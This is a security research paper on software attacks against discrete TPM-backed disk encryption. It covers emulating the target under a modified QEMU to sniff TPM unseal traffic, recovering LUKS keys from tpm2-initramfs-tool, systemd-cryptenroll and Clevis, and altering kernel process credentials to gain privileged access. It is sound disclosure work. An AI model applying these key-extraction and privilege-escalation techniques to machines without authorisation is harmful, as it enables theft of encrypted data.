TPM is not the holy way

Benoit Forgette bforgette@quarkslab.com

Quarkslab

Abstract. For quite some time, computers have been embedding a security chip. This chip, named Trusted Platform Module (TPM), is used to generate and protect secrets used by the computer. TPM and the libraries using them are fully trusted when given a secret. In this paper, I expose various new ways to perform software attacks. Either, noninvasive to extract the TPM's secrets or invasive to obtain privileged access to the host system without retrieving the secret stored in TPM to decrypt the host's filesystem. All these technics are based on the emulation of the OS environment and reproduce communication that should happen with the TPM.

We conducted this research with a tool that we also release with the community to facilitate future research and help the exploitation of these different attacks.

1 Introduction

In my day job, I often work on IoT devices. In this context, I have encountered some embedded computers. I demonstrate my attack applicability on a real case study that I encountered during one of my audits.

This audit started on a device with the following properties:

- a password-protected BIOS;
- secure boot enabled;
- automatic Luks disk decryption using TPM.

When dealing with such a device, our first intuition is to think that the system is theoretically safe. But, during the audit, I found a hardware vulnerability impacting the BIOS. This vulnerability allowed me to obtain a full access to the BIOS parameters, remove the BIOS password and disable the secure boot.

In this paper, we consider we have this access. The remaining challenges are how to bypass the hard drive encryption and what is the impact of the BIOS modifications.

Warning. The following attacks have some prerequisites:

— the secure boot should be disabled;

— the USB Boot option should be enabled.

While these prerequisites seem to be significant, in my experience, a noteworthy number of computers do not have these security setups. Moreover, the embedded device manufacturers security posture is not always mature. They sometimes let old vulnerabilities affecting their devices. For instance, some motherboards do not store their BIOS configuration in NVRAM. Removing the BIOS battery for more than 30 seconds is enough to reset the configuration. This technique is more detailed in [2].

Contributions. This paper presents a new way to compromise the usage of discrete TPM (dTPMs). For this research, a tool has been developed named TPMEE [15]. It can be used on a simple USB stick and plugged into the target.

Our approach emulates the targeted computer by connecting all the components it needs to run as usual. This emulation makes it possible to listen to the communication between the computer and the TPM. To go further, it is possible to modify the communication flow between the computer and the TPM to compromise the computer. For example, the generation of a random number by the TPM can be rigged. In the case where TPM2 encryption session feature is enabled the emulation allows to obtain direct access to the virtual memory of the emulated computer and to modify its flow of execution to obtain access to the operating system. However, these attacks assume that the attacker has managed to gain access to the BIOS or at least boot into a third party operating system.

Paper organization. In Section 2, we draw an overview of a TPM and do a brief history on the difference between versions 1.2 and 2. In Section 3, we describe the different works to attack the TPM protocol and perform a post-exploitation on a system that uses a TPM without any human interaction. Section 4 shows how to sniff the TPM protocol thanks to the emulation of the operating system and studies several solutions that use TPM to decrypt a filesystem automatically. In Section 5, we focus on how to compromise a computer that uses TPM 2 feature *HMAC authentication session feature* by setting up a process with a higher right on the operating system thanks to virtual machine instrumentation. Finally, in Section 6, we go one step further and explore how to remove the component dependencies (TPM, hard disk, BIOS) of our attack by embedding the TPM and hard disk on a third party mother board to reproduce the attacks presented on any device.

2 TPM protocol

First, it is important to recall what is a TPM, what it is used for, and the various improvements the technology has known.

dTPM (Trusted Platform Module), invented by TCG [16], is a secure crypto-processor present as a chip directly on the motherboard and connected to the CPU to generate and keep cryptographic secrets safe on an external processor. An important concept of TPM is the sealing: this feature allows storing a secret inside the TPM and release it only when the same context is loaded and the TPM UNSEAL command is called.

TPM also exhibit some hardware security features such as a safe cryptographic key generation, hash computation and signing or encrypting values provided by the OS.

On this paper, we will focus on dTPM, a TPM subfamily defined as follows: an external dedicated chip which has all TPM functionalities on its semiconductor.

On TPM one of the most important concepts is the *measurement*. The measurement certifies an object integrity at a specific time.

For instance, TPM can measure the integrity of the root of trust with PCRs (Platform Configuration Register). These registers contain cryptographic digests calculated at boot time for each level of boot loading. Modifying any part of the code or configuration also modifies these digests. To prove that the content of the PCRs comes from the TPM, the TPM signs the content of the PCRs using a special key. This key is either called AIK (Attestation Identity Key) in TPM 1.2 or AK (Attestation Key) in TPM 2.0. These registers are used as follows:

Number Allocation

- 0 BIOS
- 1 BIOS configuration
- 2 Option ROMs
- 3 Option configuration
- 4 MBR(master boot record)
- 5 MBR configuration
- 6 State transition and wake events
- 7 Platform manufacturer-specific measurements
- 8-15 Static operating system
- 16 Debug
- 23 Application support

Table 1. PCRs allocation

These values cannot be removed after their initialization. Each access to a PCR will concatenate a new value to its previous value. The boot integrity can be checked with these values.

For our case study:

- 1. the attack used to remove the password and disable secure boot should modify the measure of PCR 1;
- 2. the BIOS is replaced so the measurement of PCR 0 should be modified.

TPM are not only a chipset specification but also the communication protocol itself. This protocol is pretty simple: each request generates one answer. All requests have the same structure:

- A tag defines which TPM version is used and if the request is authenticated (2 bytes);
- The command size (4 bytes);
- Some custom fields for each command.

Like the requests, all answers share the same structure:

- A tag defines which TPM version is used and if the request is authenticated (2 bytes);
- The response size (4 bytes);
- The response code value, i.e. to notify success (4 bytes);
- Some custom fields for each command.

To illustrate this protocol, let's consider the command TPM_CC_Unseal and its answer.

For the request:

- Request Tag: Command with authorization Sessions (0x8002)
- Command size: 91 (0x000005b)
- Command Code: TPM2_CC_Unseal (0x0000015e)
- Handle Area: TPMI_DH_OBJECT: Unknown (0x81000000)
- Authorization Area:
 - AUTHAREA SIZE: 73 (0x00000049)
 - TPMI_SH_AUTH_SESSION: Unknown (0x03000000)
 - AUTH NONCE SIZE: 32 (0x0020)
 - AUTH NONCE: ecd7cbd62ac5a64...e6ce39b613751d9ed8a38
 - Session attributes (0x01)
 - $\dots \dots 1 = SESSION_CONTINUESESSION:$ Set
 -0. = SESSION_AUDITEXCLUSIVE: Not set
 - $\dots .0.. = SESSION_AUDITRESET: Not set$
 - ...0 0... = SESSION_RESERVED: Not set
 - ..0. = SESSION_DECRYPT: Not set

- .0.. = SESSION_ENCRYPT: Not set
- $0... ... = SESSION_AUDIT: Not set$
- SESSION AUTH SIZE: 32 (0x0020)
- SESSION AUTH: e0aac94a91b2c...0da345746b9b6c4

For the answer:

- Response Tag: Command with authorization Sessions (0x8002)
- Response size: 93 (0x000005d)
- Response code value: TPM2 Success (0x0000000)
- RESP PARAM SIZE: 10 (0x000000a)
- Parameters Area
 - RESPONSE PARAMS:
 - size of parameter : 8 (0x0008)
 - value of parameter : password (0x70617373776f7264)
- Authorization Area
 - AUTH NONCE SIZE: 32 (0x0020)
 - AUTH NONCE: 697607541b5541f5d...5a8f170df63b90682017
 - Session attributes
 - $\dots \dots 1 = SESSION_CONTINUESESSION:$ Set
 -0. = SESSION_AUDITEXCLUSIVE: Not set
 - $\dots .0.. = SESSION_AUDITRESET: Not set$
 - $\dots 0 \ 0 \dots = SESSION_RESERVED:$ Not set
 - ..0. = SESSION_DECRYPT: Not set
 - .0.. = SESSION_ENCRYPT: Not set
 - $0... ... = SESSION_AUDIT: Not set$
 - SESSION AUTH SIZE: 32 (0x0020)
 - SESSION AUTH: 71c6f8540102f8...a378617fe5b95de0bd674744

The request used in this example allows a user to extract a secret from the TPM if they have the authorization.

During the initialization of the secret, it is possible to specify which PCR to use for its release. The secret can be unsealed only if the register states were not altered. Thus, it verifies if the access to the *unseal* value is allowed.

2.1 Upgrade With TPM2

TPM2 provides some new features compared to TPM 1.2. First, it supports new algorithms (SHA-256, SHA-512) which improve the signature capabilities and the key generation performances. In TPM 1.2, only SHA-1 was required.

TPM 2.0 adds new asymmetric signing algorithms as ECDSA, EC-DAA and ECSCHNORR based on elliptic curves and change asymmetric encryption RSA 1024 to RSA 2048 with the algorithms RSAPES and OAEP. Moreover, AES is now mandatory to sign or encrypt data. For the moment, the CFB mode is the only one mandatory.

TPM2 provides an HMAC session to protect against sniffing TPM communication. Each request can be authenticated and potentially encrypted. To find if this feature is used, you can look if the session begins with TPM2_StartAuthSession() command and finishes with TPM2_FlushContext() command. For each request that uses this feature, an Authorization Area is added.

I	172 7.819848	127.0.0.1	127.0.0.1	TPM	81 2321 → 10976,	[TPM Response], Response (ode TPM2 Success, len(27)	
I	173 7.854671	127.0.0.1	127.0.0.1	TPM	68 31521 → 2321,	[TPM Request], Command TPM	2_CC_ReadPublic, len(14)	
I	174 7.877152	127.0.0.1	127.0.0.1	TPM	420 2321 → 31521,	[TPM Response], Response (ode TPM2 Success, len(366)	
I	L 175 7.892275	127.0.0.1	127.0.0.1		113 32838 - 2321,	[TPM Request], Command TPM	2_CC_StartAuthSession, len(59)	
I	176 7.895149	127.0.0.1	127.0.0.1	TPM	102 2321 → 32838,	[TPM Response], Response (ode TPM2 Success, len(48)	
I	177 7.907561	127.0.0.1	127.0.0.1	TPM	197 12853 → 2321,	[TPM Request], Command TPM	12_CC_Create, len(143)	
I	178 7.933716	127.0.0.1	127.0.0.1	TPM	464 2321 → 12853,	[TPM Response], Response (ode TPM2 Success, len(410)	
I	179 7.945048	127.0.0.1	127.0.0.1	TPM	74 22106 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	180 7.950999	127.0.0.1	127.0.0.1	TPM	116 2321 → 22106,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	181 7.952459	127.0.0.1	127.0.0.1	TPM	74 13358 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	182 7.954447	127.0.0.1	127.0.0.1	TPM	116 2321 → 13358,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	183 7.970502	127.0.0.1	127.0.0.1	TPM	74 37591 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	184 7.974193	127.0.0.1	127.0.0.1	TPM	116 2321 → 37591,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	185 7.976624	127.0.0.1	127.0.0.1	TPM	74 38322 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	186 7.978580	127.0.0.1	127.0.0.1	TPM	116 2321 → 38322,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	187 7.980126	127.0.0.1	127.0.0.1	TPM	74 51497 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	188 7.981650	127.0.0.1	127.0.0.1	TPM	116 2321 → 51497,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	189 7.983279	127.0.0.1	127.0.0.1	TPM	74 30803 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	190 7.984961	127.0.0.1	127.0.0.1	TPM	116 2321 → 30803,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	191 7.986704	127.0.0.1	127.0.0.1	TPM	74 59794 → 2321,	[TPM Request], Command TPM	12_CC_PCR_Read, len(20)	
I	192 7.988077	127.0.0.1	127.0.0.1	TPM	116 2321 → 59794,	[TPM Response], Response (ode TPM2 Success, len(62)	
I	193 24.945555	127.0.0.1	127.0.0.1	TPM	76 34177 - 2321,	[TPM Request], Command TPM	12_CC_GetCapability, len(22)	
I	194 24.959582	127.0.0.1	127.0.0.1	TPM	81 2321 → 34177,	[TPM Response], Response (Lode TPM2 Success, len(27)	
I	195 24.960928	127.0.0.1	127.0.0.1	TPM	76 61740 → 2321,	[TPM Request], Command TPM	12_CC_GetCapability, len(22)	
I	1	107 0 0 1	107 0 0 1		~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~		· · · · · · · · · · · · · · · · · · ·	7
I	. Fromo 175, 112 but	an utro (O	A bits) 412 butss contured	(004 bi	to)			
I	Flame 175. 115 Dyl	es on wrie (ac	54 DILS), IIS Dyles captured	(904 D1	LS)			
I	Finternet Drotocol	Voroion 4 6r	127 0 0 1 Det. 127 0 0 1	: Broau	cast (II:II:II:II:II:II)			
I	Transmission Contra	version 4, ard	5. 127.0.0.1, DSL. 127.0.0.1	21 500	- 0 Long E0			-
I	TDM2 0 Drotocol	01 PT010001, 3	510 PULL: 32636, DSL PULL: 23	zi, seq	: 0, Len: 59			
I	TDM2 0 Hoodor 1	TDM2 CC StortA	huthSecolog					
I	Tag: Command	with no outho	vitation Sections (0x9001)					
I	Command size:	EQ	1124(10) 38331003 (0x0001)					
I	Command Code:	TDM2 CC Stor	tAuthSection (0v00000176)					
I	- Handlo Aroa	IPH2_00_3tal	CAUCH362510H (0X00000170)					
I	TONT DU OD IEC	T. TOM2 DU NU	UL (0×4000007)					
I	TDMT DU ENTIT	V TDM2 PH NU	(0x40000007)					
I	AUTH NONCE STZE	22	(0X40000007)					
I	AUTH NONCE 912E	. 02 257f02cfo05o15	74bd55daaa42cfc252a71f0af2a7	d27dca4	01bd6710e022			
I	ENCOVOTED SECOET	F STZE · O	// +Du35ueae+50/02528/1198/38/	JoruCd4:	31000/100332			
I	ENCRYPTED SECRET	Cize. 0						
I	SESSION TYPE - TE	M2 SE UMAC (6	2001					
I	SVM ALC: TDM2 AL	G NULL (0v001	(0)					
I	ALC HASH TOM2 A	NG SHA256 (0)	(000)					

Fig. 1. StartAuthSession Example during Windows 11 Boot using the Tool Presented in this Paper

In Figure 1, we observe that the session is started without encryption because the encrypted secret is not present.

Each command contains a tag to identify if this command uses the session or not:

- 8002 when it is a command with session.

- 8001 when it is a command without session.

For instance, a command that allows extracting a secret could be encrypted if the session is used with the encryption flag set. The documentation of [16] explains:

12.7 TPM2_Unseal General Description This command returns the data in a loaded Sealed Data Object. NOTE 1 A random, TPM-generated, Sealed Data Object may be created by the TPM with TPM2_Create() or TPM2_CreatePrimary() using the template for a Sealed Data Object.

NOTE 2 TPM 1.2 hard-coded PCR authorization. TPM 2.0 PCR authorization requires a policy. The returned value may be encrypted using authorization session encryption. If either restricted, decrypt, or sign is SET in the attributes of itemHandle, then the TPM shall return TPM_RC_ATTRIBUTES. If the type of itemHandle is not TPM_ALG_KEYEDHASH, then the TPM shall return TPM_RC_TYPE.

3 State of the Art

The TPM subject is now an important part of our system's security. For instance, Microsoft has added the prerequisite of having a TPM to boot its new operating system Windows 11. In their documentation [1], Microsoft goes even further by requesting a TPM version 2. This is not yet enforced and starting a Windows 11 with a TPM 1.2 is still possible.

In recent years, several projects have been developed to test the TMP security. Most of them require hardware access and allow sniffing TPM communication over:

— LPC protocol with TPM Specific LPC Sniffer [12].

— SPI protocol with *Bitlocker SPI toolkit* [19].

- I2C protocol with *TPMGenie* [18].

TPM Specific LPC Sniffer and *Bitlocker SPI toolkit* are tailored to target Bitlocker keys on Windows.

TPMGenie have more generic targets and some interesting active attacks, like spoofing measurement features and altering the random generator number on Linux systems. However, *TPMGenie* does not work with TPM2.

Sniffing attacks are no longer sufficient with TPM version 2. Several countermeasures have been added in this new version to prevent them. Notably, we detail the HMAC authentication session feature in Section 2.

To avoid being constrained by this communication authentication and encryption solution, it is necessary to obtain access to the operating system without knowing the password.

One of the best-known programs to perform this attack is probably Kon-boot [13]. Kon-boot allows booting on a macOS or Windows system without knowing the session password. At boot time it injects itself into the BIOS/UEFI memory to modify the disk accesses. When the kernel is loaded in memory, it patches the memory areas in charge of password verification to accept any password. Another inspiration for this attack comes from Android Emuroot [11] presented in SSTIC 2021. This project made it possible to target a process in the list of running processes and to escalate the binary privileges with higher privileged rights.

4 Sniffing the TPM Protocol

The idea behind sniffing the TPM communication is to intercept the secrets passing through it. As mentioned above, if the session authentication feature is not used, the secrets are sent unencrypted.

4.1 Sniffing by emulation

We could find three main weaknesses that the different technics described in Section 3 suffer from:

- they require access to the TPM making the attack more difficult;
- they depend on the physical layer protocol;
- the projects are not maintained anymore or only target Windows systems.

We designed this project with the goal of being usable on every operating system without hardware constraints. We perform our attacks by altering commands and answers sent using the TPM protocol. However, our method still has weaknesses. The main one is the high-level execution which is required:

- there is more risk that a badly formatted command will be rejected;
- the prerequisites are more important: it is necessary to have access to the BIOS of the computer to authorize the boot from a USB key. Depending on the motherboard, it is also necessary to disable secure boot.

The sequence of the attack is as follows:

- 1. Boot on a live ISO without any communication with the TPM.
- 2. Launch an instance of qemu [10].
 - (a) If the BIOS is configured with UEFI, retrieve the open-source UEFI implementation developed by TianoCore [14].
 - (b) Map the physical disk as the main disk in the virtual machine.
 - (c) Use the same CPU as the host CPU.
 - (d) Connect the host TPM to the virtual machine.
- 3. Redirect the communications to the TPM to an external service allowing for example to save it in a pcap file or to modify a request.

To ease the attack, we use a helping script that correctly call the emulator. You can analyze deeper how it works in the GitHub project.¹

We had to modify the emulator to allow the extraction of received and issued requests from the TPM. To do so, the function $tpm_passthrough_unix_read$ from qemu project, which extracts data sent by the TPM, and $tpm_passthrough_unix_tx_bufs$, which extracts data received by the TPM, have been reimplemented to transmit the requests via a UNIX socket. These two functions can be found in the file $backends/tpm/tpm_passthrough.c$ of the project.

```
1
        const char *file = get_tpm_sniff_path();
2
        if (file != NULL)
3
        ſ
          uint32_t data_len = ret + 3;
4
          packet_tpm_t *data = malloc(data_len * sizeof(uint8_t));
5
          data->type = 0x0;
6
7
          data->length = ret;
8
          memcpy(data + 1, buf, ret);
9
          send_data2socket((uint8_t *)data, data_len, file);
10
          free(data);
11
          data = NULL;
```

Listing 1. Qemu Source Code

To process this RAW data, a socket server has been set up to retrieve and format it into a pcap file where the TPM will be the destination and the target OS the source. An example output can be found on the page 6 and page 11.

Another feature allows replacing some request by another and perform MITM attack on the TPM protocol. The easiest TPM command that it is possible to replace is $TPM_CC_GetRandom$. When this command is sent, the TPM answers with a securely generated random number with the number of bytes requested.

To showcase the usage of our tool, we intercept the response to $TPM_CC_GetRandom$ and replace it with the value 0. We have not studied the use of MITM in a real-life scenario. This tool is new and we work on generic patterns that can be used to defeat libraries using TPM or the dTPM component itself.

Let's consider several solutions for decrypting the disk at boot time via TPM and focus on how to analyze them with the tool developed for this research:

- tpm2-initramfs-tool
- systemd-enroll linux

¹ https://github.com/quarkslab/TPMEE

— clevis— Windows 11 Bitlocker

• Tpm2-initramfs-tool

We analyse the tool at its last commit (9fb5b10980f87b09438492ee5c1fe12151f5c6d5).

To better understand what is going on, let's take the source code of the tpm2-initramfs-tool program. The function pcr_unseal is called during the disk decryption. This function calls the libtss function Esys_Unseal and uses the result as the password to decrypt the disk.²

```
rc = Esys_PolicyPCR(ctx, session, ESYS_TR_NONE, ESYS_TR_NONE,
1
             ESYS_TR_NONE,
2
                              NULL, &pcrsel);
        chkrc(rc, goto error);
3
4
        rc = Esys_Unseal(ctx, primary, session, ESYS_TR_NONE,
5
             ESYS_TR_NONE,
\mathbf{6}
                           &secret2b);
7
        chkrc(rc, goto error);
8
        printf("%s", secret2b->buffer);
9
10
        rc = 0;
11
```

Listing 2. Source code of libtpm Esys_Unseal

If we look at the construction of the Esys_Unseal function, we see that this function is only a wrapper to the TPM_Unseal command in the TPM specification published by TCG [16].

² https://github.com/timchen119/tpm2-initramfs-tool/blob/master/src/ libtpm2-initramfs-tool.c#L406

PARAM		HMAC		_		
#	SZ	#	SZ	Туре	Name	Description
1 2				TPM_TAG	tag	TPM_TAG_RSP_AUTH2_COMMAND
2	4			UINT32	paramSize	Total number of output bytes including paramSize and tag
3	4	1S 4 TPM_RESULT		TPM_RESULT	returnCode	The return code of the operation.
		2S	4	TPM_COMMAND_CODE	ordinal	Command ordinal: TPM_ORD_Unseal.
4	4	3S	4	UINT32	secretSize	The used size of the output area for secret
5 🗢		4S	\diamond	BYTE[]	secret	Decrypted data that had been sealed
6 20		2H1	20	TPM_NONCE	nonceEven	Even nonce newly generated by TPM to cover outputs
		3H1	20	TPM_NONCE	nonceOdd	Nonce generated by system associated with authHandle
7	1 4H1 1 BOOL cont		continueAuthSession	Continue use flag, TRUE if handle is still active		
8 20				TPM_AUTHDATA	resAuth	The authorization session digest for the returned parameters. HMAC key: parentKey.usageAuth.
9	20	2H2	2H2 20 TPM_NONCE		dataNonceEven	Even nonce newly generated by TPM.
		3H2	20	TPM_NONCE	datanonceOdd	Nonce generated by system associated with dataAuthHandle
10	1	4H2	1	BOOL	continueDataSession	Continue use flag, TRUE if handle is still active
11 20				TPM_AUTHDATA	dataAuth	The authorization session digest used for the dataAuth session. HMAC key: entity.usageAuth.

10Outgoing Operands and Sizes

Fig. 2. Command TPM_Unseal

By analysing the frames written in the pcap file produced by the tool and focusing on the TPM_Unseal command response frame, we find the password given in the response parameter which consists of:

- secretsize $[00 \ 08]$
- secret [70 61 73 73 77 6F 72 64] ("password")

53 86.047397	127.0.0.1	127.0.0.1	TPM	145 22476 - 2321,	[TPM Request], Command TPM2 CC Unseal, len(91)	
L 54 86.055453	127.0.0.1	127.0.0.1		147 2321 - 22476,	[TPM Response], Response Code TPM2 Success, len(9)	
55 86.061105	127.0.0.1	127.0.0.1	TPM	68 60437 → 2321,	[TPM Request], Command TPM2_CC_ContextSave, len(1-	4)
56 86.069073	127.0.0.1	127.0.0.1	TPM	304 2321 → 60437,	[TPM Response], Response Code TPM2 Success, len(2)	50)
57 86.077757	127.0.0.1	127.0.0.1	TPM	304 23318 - 2321,	[TPM Request], Command TPM2_CC_ContextLoad, len(2)	50)
58 86.085802	127.0.0.1	127.0.0.1	TPM	68 2321 → 23318,	[TPM Response], Response Code TPM2 Success, len(1-	4)
59 86.089672	127.0.0.1	127.0.0.1	TPM	68 41318 - 2321,	[TPM Request], Command TPM2_CC_FlushContext, len()	14)
60 86.094485	127.0.0.1	127.0.0.1	TPM	64 2321 → 41318,	[TPM Response], Response Code TPM2 Success, len(1)	0)
61 86.098135	127.0.0.1	127.0.0.1	TPM	68 37099 → 2321,	[TPM Request], Command TPM2_CC_ContextSave, len(1-	4)
4						
Frame 54: 147 byte	es on wire (1176	bits), 147 bytes captur	ed (1176 bits)			
Ethernet II, Src:	00:00:00 00:00:0	0 (00:00:00:00:00:00),	Dst: Broadcast	(ff:ff:ff:ff:ff:ff:ff	·)	
Internet Protocol	Version 4, Src:	127.0.0.1, Dst: 127.0.0	.1		·	
Transmission Contr	ol Protocol, Sro	Port: 2321, Dst Port:	22476, Seq: 0,	Len: 93		
 TPM2.0 Protocol 						
▶ TPM2.0 Header,	TPM2 Success					
RESP PARAM SIZE	: 10					
 Parameters Area 						
RESPONSE PAR	AMS: 00087061737	3776f7264				
 Authorization A 	rea					
0040 00 00 00 00	08 70 61 73 73	77 6f 72 64 88 28	na ssword.			
0050 69 76 07 54 16	55 41 f5 dc 3d	1f 99 af 6b a5 65 iv	TillA			
0060 3b 2c 5c 8f 97	64 5a 8f 17 0d	f6 3b 00 68 20 17	\dZ			
0070 01 00 20 71 c6	f8 54 01 02 f8	fe a2 d2 1a 3f c8	g.,T			
0080 ac da 8c e3 61	52 98 93 78 61	7f e5 b9 5d e0 bd				
	. 52 50 45 70 01	11 65 55 54 65 54	un Au j			

Fig. 3. Sniffing with the tools

In the source code, the list of PCRs can be used to seal the secret. However, this is not used by default which makes it to extract the key in clear text.

• Systemd-cryptenroll

We analyse the tool from the tag version systemd v250.

The second case study concerns the systemd-cryptenroll program. The code analysis reveals the use of the TPM_Unseal command. This time the key to decrypt the disk is used not in clear text but encoded in base64 https://github.com/systemd/systemd/blob/main/ src/cryptenroll/cryptenroll-tpm2.c#L108

On the source code, the list of PCRs can be used to seal the secret but by default is not used and the session encryption either, that makes possible the extraction of the key in clear.

• Clevis

We analyse the tool from the tag version *Release version 18*.

Clevis is probably the more complex but the weakness is the same. Our tool extracts a key as follows:

```
1 {
2 "alg":"A256GCM",
3 "k":"IKLwktVNqr6qqCfQp75bs-n3hUVwrsFFuAxXqBG6tQQ",
4 "key_ops":["encrypt","decrypt"],
5 "kty":"oct"
6 }
```

The key extracted is a JWK (Json Web Key) and the JWE (Json Web Encryption) is stored inside the header of the luks volume. For Luks2 volume, we can extract the JWK as follows:

1 cryptsetup token export --token-id 1 "\${DEV}"

Then, with these two values we can get the password to decrypt the disk. In the source code, the list of PCRs can be used to seal the secret but by default is not used and the session encryption which makes it possible to extract the key in cleartext.

• Windows 11

A work has been started for Windows 11. In real case scenario, the communication with the TPM has not begun and the popup appears to ask the restoration key. I believe that some hardware enumeration blocks the communication. But if we manage to begin a communication with the TPM as mentioned in Section 3, the key can be found with the same technic. On a side note, *cyberveille-sante.gouv.fr* warns on this subject: https://www.cyberveille-sante.gouv.fr/cyberveille/1208-une-

```
nouvelle-attaque-permet-dextraire-les-cles-de-chiffrement-
bitlocker-dun-tpm
```

Nonetheless, we should still check if the PCR register is used to seal the secret.

4.2 Issues

Our analysis discovered that, by default, implementations were not using PCR registers to seal the secrets. This also is not encouraged in the documentation. Note that the usage of PCR registers in Windows couldn't be checked and this remains as future work.

During the study we add a PCR verification to understand which request PCR should be added on these implementations and understand when the attacks are possible.

PCR	Allocation	Attack
0	BIOS	undetected
1	BIOS configuration	detected
2	Option ROMs	undetected
3	Option configuration	undetected
4	MBR(master boot record)	detected
5	MBR configuration	undected
6	State transition and wake events	undetected
$\overline{7}$	Platform manufacturer-specific measurements	undetected
8	Grub commands	detected
9	Executed Modules Grub	detected
10	Grub binary or IMA	undetected
11	Kernel and initrd Shim	undetected
12	Entire booting process	undetected
13-15	Static operating system	undetected
16	Debug	undetected
23	Application support	undetected

Table 2. PCRs verification on Linux system

As noted in the documentation, the TPM 2.0 protocol allows encryption of command and response parameters, although this is not yet used by the main solutions.

Using such protections will allow an OS to be protected against passive attacks. However, it is common for computers to not be protected by a BIOS password. A less likely, but still possible option, is that the motherboard is vulnerable and allows access to its BIOS. Since we have access to the RAM and can debug the CPU, we instrument it and modify a process to gain access to the operating system.

5 Get privileged access to an operating system at early boot time

The objective in this part of the attack is to gain access to the system with privileged rights, without altering its main running operation.

5.1 Instrumentation of Qemu to get a privileged access

As in our case we do not have access to the system, we have two solutions:

— the creation of a new process;

— the modification of a precise process by a process we control.

In this version, we opted for the replacement of a single process, but we may improve our tool to create a process from scratch in a near future.

To understand the version, it is necessary to dive into the internals of Linux kernel.

• How the linux kernel works

Before diving in our attack, we give a brief overview of how interrupts and more precisely *syscalls* work.

- **Interruption** To communicate from USER space (RING 3) to KERNEL space (RING 0), it will be necessary to use interrupts. Interrupts are stored in a table called the IDT. This table contains all the functions in the kernel that will be called when an interrupt is triggered.

- **Syscall** One of these interrupts is called *syscall*. This interrupt allows to pass the execution from user space to kernel space to perform an action. An extract from the list of these actions on a linux x86_64 kernel is reproduced in Table 3.

rax	System call	rdi	rsi	rdx r10 r8 r9
0	sys_read	unsigned int fd	char *buf size_t count	
1	sys_write	unsigned int fd	const char *buf	
2	sys_open	const char *filename	int flags	
3	sys_close	unsigned	int fd	
4	sys_stat	const char *filename	struct stat *statbuf	
56	sys_clone	unsigned long clone_flags		
57	sys_fork			
58	sys_vfork			
59	sys_execve	const char *filename		
60	sys_exit	int error_code		
61	sys_wait4	pid_t upid	int $*$ stat_addr	
62	sys_kill	pid_t pid	int sig	
63	sys_uname	struct old_utsname *name		
322	stub_execveat	int dfd		

Table 3. x86_64 Syscall numbers

Execute and executeat The *execute* and *executeat* calls are of interest to us, as every binary executed by the system goes through them. *execute* is called with the following parameters on x86_64:

- *rdi* points to the name of the binary to execute;
- *rsi* points to the arguments passed to the binary;
- rdx points to the environment variables.

execveat is called with the following parameters on $x86_64$:

- *rdi* contains the file descriptor of the execution folder;
- *rsi* points to the name of the binary to execute;
- rdx points to the arguments passed to the binary;
- r10 points to the environment variables;
- r8 contains flags [9].

The *execve* [4] and *execveat* [5] *syscalls* are the perfect starting point to understand how the execution works and to understand how we can modify the binary execution.

For this analysis, we use Elixir [8] project that is a source code cross-referencer inspired by LXR. Its main purpose is to index every release of a C or C++ project (like the Linux kernel) while keeping a minimal footprint.



Fig. 4. Execution Flow of execve and execveat

Following the execution flow, these two syscalls call the same $do_execveat_common$ function [3]. It is possible to use this function to monitor the called process and to modify the desired process. The parameters that can be interacted with are:

- the name of the called binary;
- the arguments passed to the binary (argv);

— the environment variables (envp).

- *Cred Structure* However, it is impossible to modify the execution rights of the binary. The execution rights will be stored in a structure called creds for the moment.

```
struct cred {
1
2
    atomic_t usage;
   #ifdef CONFIG_DEBUG_CREDENTIALS
3
4
    atomic_t subscribers; /* number of processes subscribed */
    void *put_addr;
5
    unsigned magic;
6
   #define CRED_MAGIC 0x43736564
7
   #define CRED_MAGIC_DEAD 0x44656144
8
9
   #endif
10
    kuid_t uid; /* real UID of the task */
    kgid_t gid; /* real GID of the task */
11
    kuid_t
            suid; /* saved UID of the task */
12
                   /* saved GID of the task */
/* effective UID of the task */
    kgid_t sgid;
13
    kuid_t euid;
14
                   /* effective GID of the task */
    kgid_t egid;
15
    kuid_t fsuid; /* UID for VFS ops */
16
    kgid_t fsgid; /* GID for VFS ops */
17
18
19 } __randomize_layout;
```

Listing 3. Structure of creds

This structure contains uid, gid, suid, sgid, euid, egid, fsuid, fsgid values. All these elements, which correspond to the users right and its groups, must be set to 0 to obtain the highest rights on the system.

When a process is created, this structure is filled by reproducing the rights of the process that called it:

```
struct cred *prepare_creds(void)
1
\mathbf{2}
   ſ
3
    struct task_struct *task = current;
4
    const struct cred *old;
5
    struct cred *new;
6
7
    validate_process_creds();
8
9
    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
10
    if (!new)
11
     return NULL;
12
13
    kdebug("prepare_creds() alloc %p", new);
14
15
    old = task->cred;
   memcpy(new, old, sizeof(struct cred));
16
```

Listing 4. Preparation of creds

To access this structure, we must be just before the addition of this process to the *task_list* (during the *start_thread* [7] function).

When a process is create from an ELF, the function will called *start_thread* and *load_elf_binary* [6]. Otherwise it will be possible to end in the following functions:

- load_aout_binary
- load_elf_fdpic_binary
- load_em86
- load_flat_binary
- load_misc_binary
- load_script

In this attack, the function that will be used is *load_elf_binary*. This function takes as a parameter a *linux_binprm* structure which contains all the data needed to create the process including the *creds* attributes.

```
1
   struct linux_binprm {
\mathbf{2}
   #ifdef CONFIG_MMU
3
    struct vm_area_struct *vma;
4
    unsigned long vma_pages;
5
   #else
6
   # define MAX_ARG_PAGES 32
7
    struct page *page[MAX_ARG_PAGES];
8
   #endif
9
10
    struct file *file;
    struct cred *cred; /* new credentials */
11
12
    int unsafe; /* how unsafe this exec is (mask of LSM UNSAFE *) */
13
    char buf[BINPRM_BUF_SIZE];
14
15 } __randomize_layout;
```

Listing 5. Structure of linux_binprm

• Replace a process in kernel space

